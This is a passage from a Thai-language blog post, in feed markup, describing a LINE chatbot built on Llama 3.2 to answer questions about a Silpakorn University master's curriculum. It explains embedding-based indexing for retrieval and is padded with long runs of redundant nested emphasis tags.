<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE41;&#xE25;&#xE30;</em></p>]]></description><link>https://blog.pjjop.org/llama-3-2-line-chatbot-for-masters-curriculum/</link><guid isPermaLink="false">67143fa20325e40001ec7b54</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Sun, 20 Oct 2024 02:35:40 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/10/rb_30057.png" class="kg-image" alt loading="lazy" width="2000" height="624" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/rb_30057.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/rb_30057.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/10/rb_30057.png 1600w, https://blog.pjjop.org/content/images/2024/10/rb_30057.png 2000w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; &#xE1C;&#xE28;.&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C; &#xE41;&#xE25;&#xE30; &#xE2D;.&#xE14;&#xE23;.&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;<br><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a><br>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;<br>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE01;&#xE49;&#xE32;&#xE27;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE02;&#xE2D;&#xE07;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE1B;&#xE31;&#xE0D;&#xE0D;&#xE32;&#xE1B;&#xE23;&#xE30;&#xE14;&#xE34;&#xE29;&#xE10;&#xE4C; (AI) &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE20;&#xE32;&#xE29;&#xE32;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34; (NLP) &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE44;&#xE14;&#xE49;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE43;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A; Question and Answering<em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><p>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE1E;&#xE32;&#xE1C;&#xE39;&#xE49;&#xE2D;&#xE48;&#xE32;&#xE19;&#xE44;&#xE1B;&#xE2A;&#xE33;&#xE23;&#xE27;&#xE08;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE22;&#xE38;&#xE01;&#xE15;&#xE4C;&#xE43;&#xE0A;&#xE49; LINE Chatbot &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE15;&#xE2D;&#xE1A;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE1B;&#xE23;&#xE34;&#xE0D;&#xE0D;&#xE32;&#xE42;&#xE17; &#xE2A;&#xE32;&#xE02;&#xE32;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE2A;&#xE32;&#xE23;&#xE2A;&#xE19;&#xE40;&#xE17;&#xE28;&#xE41;&#xE25;&#xE30;&#xE19;&#xE27;&#xE31;&#xE15;&#xE01;&#xE23;&#xE23;&#xE21;&#xE14;&#xE34;&#xE08;&#xE34;&#xE17;&#xE31;&#xE25; &#xE02;&#xE2D;&#xE07; &#xE21;.&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23; &#xE14;&#xE49;&#xE27;&#xE22;&#xE42;&#xE21;&#xE40;&#xE14;&#xE25; <a href="https://github.com/ollama/ollama?ref=blog.pjjop.org">Llama 3.2</a> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Large Language Model &#xE41;&#xE1A;&#xE1A; Open Source &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1D;&#xE36;&#xE01;&#xE1D;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48; &#xE17;&#xE33;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE01;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; Chatbot &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE41;&#xE25;&#xE30;&#xE15;&#xE2D;&#xE1A;&#xE2A;&#xE19;&#xE2D;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE04;&#xE33;&#xE16;&#xE32;&#xE21;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE41;&#xE21;&#xE48;&#xE19;&#xE22;&#xE33;&#xE41;&#xE25;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE18;&#xE23;&#xE23;&#xE21;&#xE0A;&#xE32;&#xE15;&#xE34; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Platform &#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE2D;&#xE14;&#xE19;&#xE34;&#xE22;&#xE21;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; LINE Chatbot &#xE08;&#xE36;&#xE07;&#xE21;&#xE31;&#xE48;&#xE19;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE43;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE30;&#xE14;&#xE27;&#xE01;&#xE2A;&#xE1A;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;</p><h2 id="%E0%B8%81%E0%B8%B2%E0%B8%A3%E0%B8%97%E0%B8%B3-indexing-%E0%B9%81%E0%B8%A5%E0%B8%B0%E0%B8%84%E0%B9%89%E0%B8%99%E0%B8%AB%E0%B8%B2%E0%B8%82%E0%B9%89%E0%B8%AD%E0%B8%A1%E0%B8%B9%E0%B8%A5"><strong>&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; </strong>Indexing &#xE41;&#xE25;&#xE30;&#xE04;&#xE49;&#xE19;&#xE2B;&#xE32;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</h2><p>&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE02;&#xE2D;&#xE07; LLM &#xE04;&#xE37;&#xE2D;&#xE1E;&#xE27;&#xE01;&#xE21;&#xE31;&#xE19;&#xE23;&#xE39;&#xE49;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE01;&#xE32;&#xE23; Train &#xE40;&#xE17;&#xE48;&#xE32;&#xE19;&#xE31;&#xE49;&#xE19; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE30;&#xE17;&#xE4D;&#xE32;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE31;&#xE19;&#xE43;&#xE0A;&#xE49; Private Data &#xE44;&#xE14;&#xE49; &#xE27;&#xE34;&#xE18;&#xE35;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE04;&#xE37;&#xE2D;&#xE01;&#xE32;&#xE23; Convert &#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; Private Data &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19; Semantic Vector (Embeddings) &#xE41;&#xE25;&#xE49;&#xE27;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE44;&#xE27;&#xE49;&#xE43;&#xE19; Vector Database</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/10/d1c912aa-c231-45b9-aaa5-d5c9d4678434_1456x659.webp" class="kg-image" alt loading="lazy" width="1456" height="659" srcset="https://blog.pjjop.org/content/images/size/w600/2024/10/d1c912aa-c231-45b9-aaa5-d5c9d4678434_1456x659.webp 600w, https://blog.pjjop.org/content/images/size/w1000/2024/10/d1c912aa-c231-45b9-aaa5-d5c9d4678434_1456x659.webp 1000w, https://blog.pjjop.org/content/images/2024/10/d1c912aa-c231-45b9-aaa5-d5c9d4678434_1456x659.webp 1456w" sizes="(min-width: 720px) 720px"><figcaption>bytebytego.com</figcaption></figure><p>&#xE42;&#xE14;&#xE22; Private Data &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE40;&#xE25;&#xE47;&#xE01; &#xE46; (Data Chunks) &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE19;&#xE31;&#xE49;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; LLM &#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE08;&#xE32;&#xE01; Layer &#xE2A;&#xE38;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE02;&#xE2D;&#xE07; Model &#xE04;&#xE37;&#xE2D; Semantic Vector &#xE19;&#xE33; Vector &#xE40;&#xE01;&#xE47;&#xE1A;&#xE43;&#xE19; Vector Database &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE23;&#xE01;&#xE39;&#xE49;&#xE04;&#xE37;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE0A;&#xE34;&#xE49;&#xE19;&#xE19;&#xE31;&#xE49;&#xE19; (Data Chunks)</p><p>&#xE04;&#xE4D;&#xE32;&#xE16;&#xE32;&#xE21;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Chatbot &#xE16;&#xE32;&#xE21;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; Embeddings 